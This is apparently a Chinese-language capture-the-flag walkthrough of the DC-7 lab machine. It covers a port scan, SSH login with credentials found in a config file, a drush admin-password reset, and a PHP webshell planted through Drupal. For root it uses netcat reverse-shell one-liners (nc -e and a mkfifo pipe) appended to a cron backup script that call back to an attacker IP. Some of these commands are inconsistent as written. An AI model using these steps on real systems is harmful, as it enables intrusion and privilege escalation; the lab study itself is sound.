目录
4、22端口开放,用户名 dc7user 密码 MdR3xOgB7#dW ,SSH登录成功
3、提权,写入反弹shell到backups.sh中,拿到root权限
靶机:192.168.1.196
攻击机:kali
端口80,22,25,110开放
- root@kali2022:~# nmap 192.168.1.196
- Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-13 14:03 CST
- Nmap scan report for 192.168.1.196
- Host is up (0.0011s latency).
- Not shown: 996 filtered tcp ports (no-response)
- PORT STATE SERVICE
- 22/tcp open ssh
- 25/tcp open smtp
- 80/tcp open http
- 110/tcp open pop3
-
- Nmap done: 1 IP address (1 host up) scanned in 5.12 seconds
wappalyzer插件查看网站:内部管理系统(CMS)--Drupal8,编程语言--PHP,Web服务器--Apache2.4.25,操作系统--Debian
没用上呀--【查询CMS Drupal8 存在(CVE-2018-7600), Apache2.4.25 存在(CVE-2019-0211)】
查看config文件,发现账号密码,尝试登录,发现报错,账号或密码不正确。
- $servername = "localhost";
- $username = "dc7user";
- $password = "MdR3xOgB7#dW";
- $dbname = "Staff";
- $conn = mysqli_connect($servername, $username, $password, $dbname);
- ?>
- root@kali2022:~# ssh dc7user@192.168.1.196
- The authenticity of host '192.168.1.196 (192.168.1.196)' can't be established.
- ED25519 key fingerprint is SHA256:BDWqBUcitB8KKGYDyoeZkt2C/aXhZ7gi5xSEtOSB+Rk.
- This key is not known by any other names
- Are you sure you want to continue connecting (yes/no/[fingerprint])? y
- Please type 'yes', 'no' or the fingerprint: yes
- Warning: Permanently added '192.168.1.196' (ED25519) to the list of known hosts.
- dc7user@192.168.1.196's password:
- Linux dc-7 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u5 (2019-08-11) x86_64
-
- The programs included with the Debian GNU/Linux system are free software;
- the exact distribution terms for each program are described in the
- individual files in /usr/share/doc/*/copyright.
-
- Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
- permitted by applicable law.
- You have new mail.
- Last login: Fri Aug 30 03:10:09 2019 from 192.168.0.100
- dc7user@dc-7:~$ ls
- backups mbox
-
- # 发现两个文件,进入backups目录,发现两个文件,gpg后缀的,百度发现
- # gpg是一种基于密钥的加密方式,使用了一对密钥对消息进行加密和解密,来保证消息的安全传输。
-
- # cat mbox 发现在/opt/scripts/ 有个可以执行的脚本文件 backups.sh
- dc7user@dc-7:/opt/scripts$ cat backups.sh
- #!/bin/bash
- rm /home/dc7user/backups/*
- cd /var/www/html/
- drush sql-dump --result-file=/home/dc7user/backups/website.sql
- cd ..
- tar -czf /home/dc7user/backups/website.tar.gz html/
- gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
- gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
- chown dc7user:dc7user /home/dc7user/backups/*
- rm /home/dc7user/backups/website.sql
- rm /home/dc7user/backups/website.tar.gz
发现了drush 。网上查询后,发现drush 是drupal shell 专门管理drupal站点的shell
进入到/var/www/html目录下,使用drush命令可以修改admin用户的密码为admin123
drush user-password admin --password='admin123'
# 我登录admin,明明账号密码时正确的,已知显示账号或密码错误,等超过5次之后,显示被锁。解锁之后,账号才成功登录。
drush php-eval 'db_query("delete from flood");'
找到上传路径Content—>Add content-->Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码,需要安装插件,将php模块(https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz)导入(导入路径extend—>+Install new module),导入成功后在extend中添加模块。
来到欢迎页面,对该页面进行编辑,添加一句话PHP代码,保存为php代码
中国蚁剑成功连接shell
- (www-data:/var/www/html) $ pwd
- /var/www/html
- (www-data:/var/www/html) $ whoami
- www-data # 当前用户是www-data,
用kali再次监听
- nc -lvvp 2222 (kali中执行)
- nc -e /bin/bash 192.168.1.196 2222 (蚁剑终端执行)
- python -c 'import pty;pty.spawn("/bin/bash")' (进入交互式界面)
在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell
写入反弹shell代码到backups.sh脚本文件,并在kali监听2222端口,稍等片刻后,成功getshell。
- 方法1
- echo nc -e 192.168.1.123 2222 /bin/bash >> backups.sh
- nc -lvvp 2222
-
- 方法2
- echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.123 1234 >/tmp/f" >> backups.sh
- nc -lvvp 1234
获取root权限后,查看mail下的dc7user文件,cd到root目录下,拿到flag